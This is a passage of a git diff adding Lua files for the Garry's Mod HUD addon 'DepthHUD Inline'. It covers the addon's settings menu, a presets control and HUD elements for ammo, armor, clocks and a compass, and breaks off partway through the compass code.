pairs(Elements_names) do + Defaults["dhinline_element_" .. name] = ( not (dhinline.Get(name).DefaultOff or false ) ) and "1" or "0" + Defaults["dhinline_element_" .. name .. "_x"] = dhinline.Get(name).DefaultGridPosX + Defaults["dhinline_element_" .. name .. "_y"] = dhinline.Get(name).DefaultGridPosY + end + return Defaults +end diff --git a/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua new file mode 100644 index 0000000..172786c --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua @@ -0,0 +1,371 @@ +//////////////////////////////////////////////// +// -- Depth HUD : Inline // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// The Menu // +//////////////////////////////////////////////// + +HeXInclude( 'DSysButton.lua' ) +HeXInclude( 'DMultiChoice.lua' ) +HeXInclude( 'CtrlColor.lua' ) +HeXInclude( 'DhCheckPos.lua' ) +HeXInclude( 'control_presets.lua' ) + +local MY_VERSION = 1337--tonumber(string.Explode( "\n", file.Read("depthhud_inline.txt", "DATA"))[1]) +local SVN_VERSION = 1337 +local DOWNLOAD_LINK = "Gone" + +//// +// Condefs/convars code taken from SmartSnap +local style_condefs = { + dhinline_col_base_r = 255, + dhinline_col_base_g = 220, + dhinline_col_base_b = 0, + dhinline_col_base_a = 192, + + dhinline_col_back_r = 0, + dhinline_col_back_g = 0, + dhinline_col_back_b = 0, + dhinline_col_back_a = 92, + + dhinline_ui_blendfonts = "1", + dhinline_ui_drawglow = "0", + dhinline_ui_dynamicbackground = "0", + + dhinline_ui_spacing = 1 +} + +local style_convars = {} + +for key,value in pairs(style_condefs) do + style_convars[#style_convars + 1] = key +end + +/*local my_preset_opts = { + options = { ["default"] = style_condefs }, + cvars = style_convars, + folder = "dhinline_style" + }*/ + +//// + +function dhinline_RevertStyle() + for k,v in pairs(style_condefs) do + RunConsoleCommand(k, v) + end +end +concommand.Add("dhinline_revertstyle", dhinline_RevertStyle) + +function dhinline_GetVersionData() + return MY_VERSION, SVN_VERSION, DOWNLOAD_LINK +end + +--[[ +local function dhinline_GetVersion( contents , size ) + //Taken from RabidToaster Achievements mod. + local split = string.Explode( "\n", contents ) + local version = tonumber( split[ 1 ] or "" ) + + if ( !version ) then + SVN_VERSION = -1 + return + end + + SVN_VERSION = version + + if ( split[ 2 ] ) then + DOWNLOAD_LINK = split[ 2 ] + end +end + +http.Get( "http://depthhudinfo.googlecode.com/svn/trunk/data/depthhud_inline.txt", "", dhinline_GetVersion ) +]] + +function dhinline_MakePresetPanel( data ) + local ctrl = vgui.Create("ControlPresets") + + ctrl:SetPreset( data.folder ) + + if ( data.options ) then + for k, v in pairs( data.options ) do + if ( k != "id" ) then + ctrl:AddOption( k, v ) + end + end + end + + if ( data.cvars ) then + for k, v in pairs( data.cvars ) do + ctrl:AddConVar( v ) + end + end + + return ctrl +end + +function dhinline_ShowMenu() + local DermaPanel = vgui.Create( "DFrame" ) + //local w,h = 288,288 + local w,h = 288,ScrH()*0.6 + local border = 4 + local W_WIDTH = w - 2*border + + ////// // // THE FRAME + DermaPanel:SetPos( ScrW()*0.5 - w*0.5 , ScrH()*0.5 - h*0.5 ) + DermaPanel:SetSize( w, h ) + DermaPanel:SetTitle( "DepthHUD Inline" ) + DermaPanel:SetVisible( true ) + DermaPanel:SetDraggable( true ) + DermaPanel:ShowCloseButton( true ) + DermaPanel:MakePopup() + + local PanelList = vgui.Create( "DPanelList", DermaPanel ) + PanelList:SetPos( border , 22 + border ) + PanelList:SetSize( W_WIDTH, h - 2*border - 22 ) + //PanelList:SetAutoSize( true ) + PanelList:SetSpacing( 5 ) + PanelList:EnableHorizontal( false ) + PanelList:EnableVerticalScrollbar( true ) + + ////// CATEGORY : GENERAL + local GeneralCategory = vgui.Create("DCollapsibleCategory", PanelList) + GeneralCategory:SetSize( W_WIDTH, 50 ) + GeneralCategory:SetExpanded( 1 ) -- Expanded when popped up + GeneralCategory:SetLabel( "General" ) + + local GeneralCatList = vgui.Create( "DPanelList" ) + GeneralCatList:SetSize(W_WIDTH, h - 160 ) + GeneralCatList:SetAutoSize( true ) + GeneralCatList:EnableHorizontal( false ) + GeneralCatList:EnableVerticalScrollbar( false ) + + // ENABLE CHECK + local GeneralEnableCheck = vgui.Create( "DCheckBoxLabel" ) + GeneralEnableCheck:SetText( "Enable" ) + GeneralEnableCheck:SetConVar( "dhinline_enable" ) + GeneralEnableCheck:SetValue( GetConVarNumber( "dhinline_enable" ) ) + + // DISABLE BASE HUD CHECK + local GeneralDefaultCheck = vgui.Create( "DCheckBoxLabel" ) + GeneralDefaultCheck:SetText( "Disable Base HUD" ) + GeneralDefaultCheck:SetConVar( "dhinline_disabledefault" ) + GeneralDefaultCheck:SetValue( GetConVarNumber( "dhinline_disabledefault" ) ) + + // DHDIV + local GeneralTextLabel = vgui.Create("DLabel") + local GeneralTextLabelMessage = "The command \"dhinline_menu\" calls this menu.\n" + if not (MY_VERSION and SVN_VERSION and (MY_VERSION < SVN_VERSION)) then + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Example : To assign inline menu to F7, type in the console :" + else + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Your version is "..MY_VERSION.." and the updated one is "..SVN_VERSION.." ! You should update !" + end + GeneralTextLabel:SetWrap( true ) + GeneralTextLabel:SetText( GeneralTextLabelMessage ) + GeneralTextLabel:SetContentAlignment( 7 ) + GeneralTextLabel:SetSize( W_WIDTH, 40 ) + + // DHMENU BUTTON + local GeneralCommandLabel = vgui.Create("DTextEntry") + if not (MY_VERSION and SVN_VERSION and (MY_VERSION < SVN_VERSION) and DOWNLOAD_LINK) then + GeneralCommandLabel:SetText( "bind \"F7\" \"dhinline_menu\"" ) + else + GeneralCommandLabel:SetText( DOWNLOAD_LINK ) + end + GeneralCommandLabel:SetEditable( false ) + + // HUDLAG MUL + local GeneralHudlagMulSlider = vgui.Create("DNumSlider") + GeneralHudlagMulSlider:SetText( "HUD Lag : Dispersion" ) + GeneralHudlagMulSlider:SetMin( 0 ) + GeneralHudlagMulSlider:SetMax( 4 ) + GeneralHudlagMulSlider:SetDecimals( 2 ) + GeneralHudlagMulSlider:SetConVar("dhinline_ui_hudlag_mul") + + // HUDLAG RETAB + local GeneralHudlagRetabSlider = vgui.Create("DNumSlider") + GeneralHudlagRetabSlider:SetText( "HUD Lag : Repel (0.2 Recommended)" ) + GeneralHudlagRetabSlider:SetMin( 0.1 ) + GeneralHudlagRetabSlider:SetMax( 0.4 ) + GeneralHudlagRetabSlider:SetDecimals( 2 ) + GeneralHudlagRetabSlider:SetConVar("dhinline_ui_hudlag_retab") + + // MAKE: GENERAL + GeneralCatList:AddItem( GeneralEnableCheck ) //Adds the ENABLE CHECK + GeneralCatList:AddItem( GeneralDefaultCheck ) //Adds the DEFAULT CHECK + GeneralCatList:AddItem( GeneralHudlagMulSlider ) //Adds the HUD LAG MUL SLIDER + GeneralCatList:AddItem( GeneralHudlagRetabSlider ) //Adds the HUD LAG RETAB SLIDER + GeneralCatList:AddItem( GeneralTextLabel ) //Adds the DHDIV + GeneralCatList:AddItem( GeneralCommandLabel ) //Adds the DHMENU + GeneralCatList:InvalidateLayout(true) + //GeneralCatList:SizeToContents() + GeneralCategory:SetContents( GeneralCatList ) //CATEGORY GENERAL FILLED + + + + ////// CATEGORY : ELEMENTS + local ElementsCategory = vgui.Create("DCollapsibleCategory", PanelList) + ElementsCategory:SetSize( W_WIDTH, 50 ) + ElementsCategory:SetExpanded( 0 ) -- Expanded when popped up + ElementsCategory:SetLabel( "Elements" ) + + local ElementsCatList = vgui.Create( "DPanelList" ) + ElementsCatList:SetAutoSize( true ) + ElementsCatList:SetSize(W_WIDTH, h - 70 ) + ElementsCatList:EnableHorizontal( false ) + ElementsCatList:EnableVerticalScrollbar( false ) + + // PRESETS : ELEMENTS + local ElementsCompoSaver = dhinline_MakePresetPanel( { + options = { ["default"] = dhinline.GetAllDefaultsTable() }, + cvars = dhinline.GetConVarTable(), + folder = "dhinline_elements" + } ) + + // MAIN ELEMENT LIST + local ElementsList = vgui.Create( "DPanelList" ) + ElementsList:SetAutoSize( true ) + ElementsList:SetSize( W_WIDTH, h - 150 ) + ElementsList:SetSpacing( 5 ) + ElementsList:EnableHorizontal( false ) + ElementsList:EnableVerticalScrollbar( true ) + local names = dhinline.GetNamesTable() + for k,name in pairs(names) do + local element_name = dhinline.Get(name).Name or name + + local ListCheck = vgui.Create( "DhCheckPos" ) + ListCheck:SetText( element_name ) + ListCheck:SetConVar( "dhinline_element_" .. name ) + ListCheck:SetConVarX( "dhinline_element_" .. name .. "_x" ) + ListCheck:SetConVarY( "dhinline_element_" .. name .. "_y" ) + ListCheck:SetMinMax( 0 , dhinline_GetGridDivideMax() ) + /*dhinline.Get(name):CreateMyPanel( ListCheck:GetOptionsPanelList() ) + ListCheck:SizeToContents() + ListCheck:PerformLayout()*/ + ListCheck.button.DoClick = function() + RunConsoleCommand( "dhinline_element_" .. name .. "_x", dhinline.Get(name).DefaultGridPosX ) + RunConsoleCommand( "dhinline_element_" .. name .. "_y", dhinline.Get(name).DefaultGridPosY ) + //dhinline.Get(name):ResetMyConVars( ) + end + ElementsList:AddItem( ListCheck ) -- Add the item above + end + + // RELOAD BUTTON + local ElementReloadButton = vgui.Create("DButton") + ElementReloadButton:SetText( "Reload Element Files" ) + ElementReloadButton.DoClick = function() + RunConsoleCommand("dhinline_reloadelements") + DermaPanel:Close() + RunConsoleCommand("dhinline_menu") + end + + // MAKE: ELEMENTS + ElementsCatList:AddItem( ElementsCompoSaver ) //Adds ELEMENT PRESETS + ElementsCatList:AddItem( ElementsList ) //Adds the ELEMENT LIST + ElementsCatList:AddItem( ElementReloadButton ) //Adds the RELOAD BUTTON + ElementsCatList:PerformLayout() + ElementsCatList:SizeToContents() + ElementsCategory:SetContents( ElementsCatList ) //CATEGORY ELEMENTS FILLED + + + ////// CATEGORY : UIStyle + local UIStyleCategory = vgui.Create("DCollapsibleCategory", PanelList) + UIStyleCategory:SetSize( W_WIDTH, 50 ) + UIStyleCategory:SetExpanded( 0 ) -- Expanded when popped up + UIStyleCategory:SetLabel( "UI Design" ) + + local UIStyleCatList = vgui.Create( "DPanelList" ) + UIStyleCatList:SetAutoSize( true ) + UIStyleCatList:SetSize(W_WIDTH, 128 ) + UIStyleCatList:EnableHorizontal( false ) + UIStyleCatList:EnableVerticalScrollbar( false ) + + // REVERT BUTTON + local UIStyleRevertButton = vgui.Create("DButton") + UIStyleRevertButton:SetText( "Revert Style back to Defaults" ) + UIStyleRevertButton.DoClick = function() + RunConsoleCommand("dhinline_revertstyle") + end + + // PRESETS : STYLE + local UIStyleSaver = dhinline_MakePresetPanel( { + options = { ["default"] = style_condefs }, + cvars = style_convars, + folder = "dhinline_style" + } ) + + // DYNAMIC BACK + local UIStyleDynamicbackCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleDynamicbackCheck:SetText( "Enable Dynamic Background" ) + UIStyleDynamicbackCheck:SetConVar( "dhinline_ui_dynamicbackground" ) + UIStyleDynamicbackCheck:SetValue( GetConVarNumber( "dhinline_ui_dynamicbackground" ) ) + + // DRAWGLOW BACK + local UIStyleDrawglowCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleDrawglowCheck:SetText( "Enable Glow" ) + UIStyleDrawglowCheck:SetConVar( "dhinline_ui_drawglow" ) + UIStyleDrawglowCheck:SetValue( GetConVarNumber( "dhinline_ui_drawglow" ) ) + + // BLENDFONT + local UIStyleBlendfontsCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleBlendfontsCheck:SetText( "Fonts use Additive Mode" ) + UIStyleBlendfontsCheck:SetConVar( "dhinline_ui_blendfonts" ) + UIStyleBlendfontsCheck:SetValue( GetConVarNumber( "dhinline_ui_blendfonts" ) ) + + // SIZE XREL + local UIStyleSpacingSlider = vgui.Create("DNumSlider") + UIStyleSpacingSlider:SetText( "Spacing" ) + UIStyleSpacingSlider:SetMin( 0 ) + UIStyleSpacingSlider:SetMax( 2 ) + UIStyleSpacingSlider:SetDecimals( 1 ) + UIStyleSpacingSlider:SetConVar("dhinline_ui_spacing") + + // COLOR BASE + local UIBaseCLabel = vgui.Create("DLabel") + UIBaseCLabel:SetText( "Base Color" ) + local UIBaseColor = vgui.Create("CtrlColor") + UIBaseColor:SetSize( W_WIDTH, 108 ) + UIBaseColor:SetConVarR("dhinline_col_base_r") + UIBaseColor:SetConVarG("dhinline_col_base_g") + UIBaseColor:SetConVarB("dhinline_col_base_b") + UIBaseColor:SetConVarA("dhinline_col_base_a") + + // COLOR BACK + local UIBackCLabel = vgui.Create("DLabel") + UIBackCLabel:SetText( "Back Color" ) + local UIBackColor = vgui.Create("CtrlColor") + UIBackColor:SetSize( W_WIDTH, 108 ) + UIBackColor:SetConVarR("dhinline_col_back_r") + UIBackColor:SetConVarG("dhinline_col_back_g") + UIBackColor:SetConVarB("dhinline_col_back_b") + UIBackColor:SetConVarA("dhinline_col_back_a") + + // MAKE: UIStyle + UIStyleCatList:AddItem( UIStyleRevertButton ) //Adds the REVERT BUTTON + UIStyleCatList:AddItem( UIStyleSaver ) //Adds PRESETS + UIStyleCatList:AddItem( UIStyleDynamicbackCheck ) + UIStyleCatList:AddItem( UIStyleDrawglowCheck ) + UIStyleCatList:AddItem( UIStyleBlendfontsCheck ) + UIStyleCatList:AddItem( UIStyleSpacingSlider ) //Adds the SPACING SLIDER + UIStyleCatList:AddItem( UIBaseCLabel ) //Adds the BASE LBL + UIStyleCatList:AddItem( UIBaseColor ) //Adds the BASE COLOR + UIStyleCatList:AddItem( UIBackCLabel ) //Adds the BACK LBL + UIStyleCatList:AddItem( UIBackColor ) //Adds the BACK COLOR + UIStyleCatList:PerformLayout() + UIStyleCatList:SizeToContents() + UIStyleCategory:SetContents( UIStyleCatList ) //CATEGORY GENERAL FILLED + + + + + + + //FINISHING THE PANEL + PanelList:AddItem( GeneralCategory ) //CATEGORY GENERAL CREATED + PanelList:AddItem( ElementsCategory ) //CATEGORY ELEMENTS CREATED + PanelList:AddItem( UIStyleCategory ) //CATEGORY UIStyle CREATED + +end +concommand.Add("dhinline_menu",dhinline_ShowMenu) + diff --git a/Repos/HeXs_DepthHUD-master/lua/control_presets.lua b/Repos/HeXs_DepthHUD-master/lua/control_presets.lua new file mode 100644 index 0000000..16e7e29 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/control_presets.lua @@ -0,0 +1,164 @@ +// +// ___ ___ _ _ _ __ _ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V / +// | | | _| | o || \_/ | ( |_n| o || / / \ / +// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007 +// +// + +HeXInclude( 'preset_editor.lua' ) + +local PANEL = {} + +/*--------------------------------------------------------- + Name: Paint +---------------------------------------------------------*/ +function PANEL:Init() + + self.DropDown = vgui.Create( "DMultiChoice", self ) + self.DropDown.OnSelect = function( dropdown, index, value, data ) self:OnSelect( index, value, data ) end + self.DropDown:SetText( "Presets" ) + self.DropDown:SetEditable( false ) + + self.Button = vgui.Create( "DSysButton", self ) + self.Button:SetType( "right" ) + self.Button.DoClick = function() self:OpenPresetEditor() end + + self:SetTall( 20 ) + + self.ConVars = {} + +end + + +/*--------------------------------------------------------- + Name: SetLabel +---------------------------------------------------------*/ +function PANEL:SetLabel( strName ) + + self.Label:SetText( strName ) + +end + + +/*--------------------------------------------------------- + Name: SetLabel +---------------------------------------------------------*/ +function PANEL:AddOption( strName, data ) + + self.DropDown:AddChoice( strName, data ) + +end + + +/*--------------------------------------------------------- + Name: PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + self.Button:SetSize( self:GetTall(), self:GetTall() ) + self.Button:SetPos( self:GetWide() - self.Button:GetWide(), 0 ) + + self.DropDown:SetPos( 0, 0 ) + self.DropDown:SetWide( self:GetWide() - self.Button:GetWide() - 5 ) + +end + + +/*--------------------------------------------------------- + Name: OnSelect +---------------------------------------------------------*/ +function PANEL:OnSelect( index, value, data ) + + if ( !data ) then return end + + for k, v in pairs( data ) do + RunConsoleCommand( k, v ) + end + +end + + +/*--------------------------------------------------------- + Name: OpenPresetEditor +---------------------------------------------------------*/ +function PANEL:OpenPresetEditor() + + if (!self.m_strPreset) then return end + + self.Window = vgui.Create( "PresetEditor" ) + self.Window:MakePopup() + self.Window:Center() + self.Window:SetType( self.m_strPreset ) + self.Window:SetConVars( self.ConVars ) + self.Window:SetPresetControl( self ) + +end + +/*--------------------------------------------------------- + Add A ConVar to store +---------------------------------------------------------*/ +function PANEL:AddConVar( convar ) + + table.insert( self.ConVars, convar ) + +end + + +/*--------------------------------------------------------- + Name: GetConVars +---------------------------------------------------------*/ +function PANEL:GetConVars( convar ) + + return self.ConVars + +end + + +/*--------------------------------------------------------- + Name: OpenPresetEditor +---------------------------------------------------------*/ +function PANEL:SetPreset( strName ) + + self.m_strPreset = strName + self:ReloadPresets() + +end + + +/*--------------------------------------------------------- + Name: ReloadPresets +---------------------------------------------------------*/ +function PANEL:ReloadPresets() + + self:Clear() + + local t = presets.GetTable( self.m_strPreset ) + + for k, v in pairs( t ) do + self:AddOption( k, v ) + end + +end + +/*--------------------------------------------------------- + Name: Update +---------------------------------------------------------*/ +function PANEL:Update() + + self:ReloadPresets() + +end + +/*--------------------------------------------------------- + Name: Clear +---------------------------------------------------------*/ +function PANEL:Clear() + + self.DropDown:Clear() + +end + + + +vgui.Register( "ControlPresets", PANEL, "Panel" ) \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua new file mode 100644 index 0000000..d428510 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua @@ -0,0 +1,96 @@ +ELEMENT.Name = "Ammo : Primary" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.STORmaxammo = {} +ELEMENT.tvars = {} + +ELEMENT.colorText = nil +ELEMENT.colorLesser = nil +ELEMENT.colorEmpty = Color(255,0,0,92) +ELEMENT.colorEmptyText = Color(255,0,0,192) + +function ELEMENT:Initialize( ) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():Alive() then + local SWEP = LocalPlayer():GetActiveWeapon() + self.tvars = {} + if SWEP:IsValid() then + self.tvars.clip1type = SWEP:GetPrimaryAmmoType() or "" + self.tvars.clip1 = tonumber(SWEP:Clip1()) or -1 + self.tvars.clip1left = LocalPlayer():GetAmmoCount(self.tvars.clip1type) + else + self.tvars.clip1 = -1 + self.tvars.clip1left = -1 + end + if not self.STORmaxammo[SWEP] then + self.STORmaxammo[SWEP] = self.tvars.clip1 + elseif self.tvars.clip1 > self.STORmaxammo[SWEP] then + self.STORmaxammo[SWEP] = self.tvars.clip1 + end + + self.tvars.clip1max = tonumber(self.STORmaxammo[SWEP]) or 1 + + //Sweps, not the phys/gravgun... + if self.tvars.clip1 >= 0 and self.tvars.clip1type != -1 then + self.colorText = nil + self.colorLesser = nil + local smallText = "" + local rate = -1 + if self.tvars.clip1 <= 0 then + self.colorLesser = self.colorEmpty + self.colorText = self.colorEmptyText + end + if self.tvars.clip1left > 0 then + smallText = self.tvars.clip1left + else + smallText = "" + end + + local rate = self.tvars.clip1 / (self.STORmaxammo[SWEP] or 1) + + self:DrawGenericInfobox( + /*Text */ self.tvars.clip1 + /*Subtxt */ ,smallText + /* % */ ,rate + /*atRight*/ ,true + /*0.0 col*/ ,self.colorLesser + /*1.0 col*/ ,self.colorLesser + /*minSize*/ ,0.0 + /*maxSize*/ ,1.0 + /*blink< */ ,0.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,self.colorText + /*stColSm*/ ,nil + ) + + //Gravgun/nades + elseif self.tvars.clip1left > 0 then + self:DrawGenericInfobox( + /*Text */ self.tvars.clip1left + /*Subtxt */ ,"" + /* % */ ,-1 + /*atRight*/ ,true + /*0.0 col*/ ,nil + /*1.0 col*/ ,nil + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,1.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua new file mode 100644 index 0000000..c8fc88e --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua @@ -0,0 +1,47 @@ +ELEMENT.Name = "Ammo : Secondary" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 14 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.tvars = {} + +function ELEMENT:Initialize( ) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():Alive() then + local SWEP = LocalPlayer():GetActiveWeapon() + self.tvars = {} + if SWEP:IsValid() then + self.tvars.clip2type = SWEP:GetSecondaryAmmoType() or "" + //self.tvars.clip2 = tonumber(SWEP:Clip2()) or 0 + self.tvars.clip2left = LocalPlayer():GetAmmoCount(self.tvars.clip2type) + else + //self.tvars.clip2 = -1 + self.tvars.clip2left = -1 + end + + if self.tvars.clip2left > 0 then + self:DrawGenericInfobox( + /*Text */ self.tvars.clip2left + /*Subtxt */ ,"" + /* % */ ,-1 + /*atRight*/ ,true + /*0.0 col*/ ,nil + /*1.0 col*/ ,nil + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,1.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua new file mode 100644 index 0000000..d6dbe12 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua @@ -0,0 +1,83 @@ +ELEMENT.Name = "Armor" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 2 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.xRelPosEvo = 0 +ELEMENT.yRelPosEvo = -1 + +ELEMENT.EvoLagMul = 2.5 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.LastArmor = 0 + +ELEMENT.color = nil +ELEMENT.batteryEmptyColor = Color(128,164,190,164) +ELEMENT.batteryChargedColor = Color(164,220,255,192) +ELEMENT.accumPositive = Color(164,220,255,192) +ELEMENT.accumNegative = Color(128,164,190,128) + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + if (LocalPlayer():Alive() and LocalPlayer():Armor() > 0) or ((not LocalPlayer():Alive()) and (self.LastArmor > 0)) then + local rate = LocalPlayer():Armor() / 100 + + if (LocalPlayer():Armor() != self.LastArmor) then + local accum = dhinline_GetVolatileStorage("armor_evolution") or 0 + self.color = nil + local text = "" + accum = accum + (LocalPlayer():Armor() - self.LastArmor) + + if (accum > 0) then + self.color = self.accumPositive + text = "+" .. accum + else + self.color = self.accumNegative + text = "" .. accum + end + + + self:UpdateVolatile( +/*Vola */ "armor_evolution" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.color +/*LagMul */ ,self.EvoLagMul +/*Font */ ,nil +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + end + + if (LocalPlayer():Alive()) then + self:DrawGenericInfobox( + /*Text */ LocalPlayer():Armor() + /*Subtxt */ ,"" + /* % */ ,rate + /*atRight*/ ,false + /*0.0 col*/ ,self.batteryEmptyColor + /*1.0 col*/ ,self.batteryChargedColor + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,0.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,false + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + self.LastArmor = LocalPlayer():Armor() + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua new file mode 100644 index 0000000..b9ea874 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua @@ -0,0 +1,22 @@ +ELEMENT.Name = "Clock (12-hour format)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.7 +ELEMENT.SizeY = -0.65 + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + self:DrawGenericContentbox( +/*Text */ os.date("%I:%M:%S %p") +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,1 + ) + + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua new file mode 100644 index 0000000..b401cfe --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua @@ -0,0 +1,22 @@ +ELEMENT.Name = "Clock (24-hour format)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.7 +ELEMENT.SizeY = -0.65 + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + self:DrawGenericContentbox( +/*Text */ os.date("%H:%M:%S") +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,1 + ) + + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua new file mode 100644 index 0000000..59a7d8b --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua @@ -0,0 +1,124 @@ +ELEMENT.Name = "Compass" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 1 +ELEMENT.SizeX = -2.0 +ELEMENT.SizeY = -0.75 + +ELEMENT.text = "" +ELEMENT.textColor = nil +ELEMENT.textColorCalc = Color(0,255,255,255) +ELEMENT.textSmall = "" +ELEMENT.textSmallColor = nil +ELEMENT.textSmallColorCalc = Color(0,255,255,255) +ELEMENT.textColorBaseAlpha = 0 +ELEMENT.MaxFramerate = 100 +ELEMENT.colorXcoords = Color(255,0,0,192) +ELEMENT.colorYcoords = Color(0,255,0,192) +ELEMENT.EyeAng = nil +ELEMENT.yaw = nil + +ELEMENT.myXEquirel = 0 +ELEMENT.myYEquirel = 0 +ELEMENT.myAlphaAlter = 0 + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") + +ELEMENT.tvars = {} +ELEMENT.pointsCard = { + [0] = "N", + [45] = "NE", + [90] = "E", + [135] = "SE", + [180] = "S", + [225] = "SW", + [270] = "W", + [315] = "NW", +} +ELEMENT.pointsSmall = { + [0] = {"Y+", ELEMENT.colorYcoords}, + [45] = "|", + [90] = {"X+", ELEMENT.colorXcoords}, + [135] = "|", + [180] = {"Y-", ELEMENT.colorYcoords}, + [225] = "|", + [270] = {"X-", ELEMENT.colorXcoords}, + [315] = "|", +} + +function ELEMENT:Initialize( ) + for i = 0,359,15 do + if not self.pointsCard[i] then + self.pointsCard[i] = "." + end + end +end + +function ELEMENT:DrawFunction( ) + self.EyeAng = EyeAngles() + self.yaw = self.EyeAng.y + + self:DrawGenericContentbox( +/*Text */ "" +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,0 + ) + + self.textColorBaseAlpha = self.baseColor.a + for k,v in pairs(self.pointsCard) do + if math.sin((self.yaw + k)/180*math.pi) > 0 then + self.myXEquirel = math.sin((self.yaw + k)/180*math.pi) + self.myYEquirel = math.cos((self.yaw+k)/180*math.pi) + + self.myAlphaAlter = (1 - (1 - math.Clamp(math.abs( self.myXEquirel ), 0, 1)^2) ) + + if type(v) != "table" then + self.textColorCalc.r = self.baseColor.r + self.textColorCalc.g = self.baseColor.g + self.textColorCalc.b = self.baseColor.b + self.textColorCalc.a = self.textColorBaseAlpha * self.myAlphaAlter + self.textColor = self.textColorCalc + + self.text = v + else + self.textColorCalc.r = v[2].r + self.textColorCalc.g = v[2].g + self.textColorCalc.b = v[2].b + self.textColorCalc.a = v[2].a * self.myAlphaAlter + + self.textColor = self.textColorCalc + self.text = v[1] + end + + if (self.pointsSmall[k]) then + if (type(self.pointsSmall[k]) != "table") then + self.textSmallColorCalc.r = self.baseColor.r + self.textSmallColorCalc.g = self.baseColor.g + self.textSmallColorCalc.b = self.baseColor.b + self.textSmallColorCalc.a = self.textColorBaseAlpha * self.myAlphaAlter + + self.textSmallColor = self.textSmallColorCalc + self.textSmall = self.pointsSmall[k] + else + self.textSmallColorCalc.r = self.pointsSmall[k][2].r + self.textSmallColorCalc.g = self.pointsSmall[k][2].g + 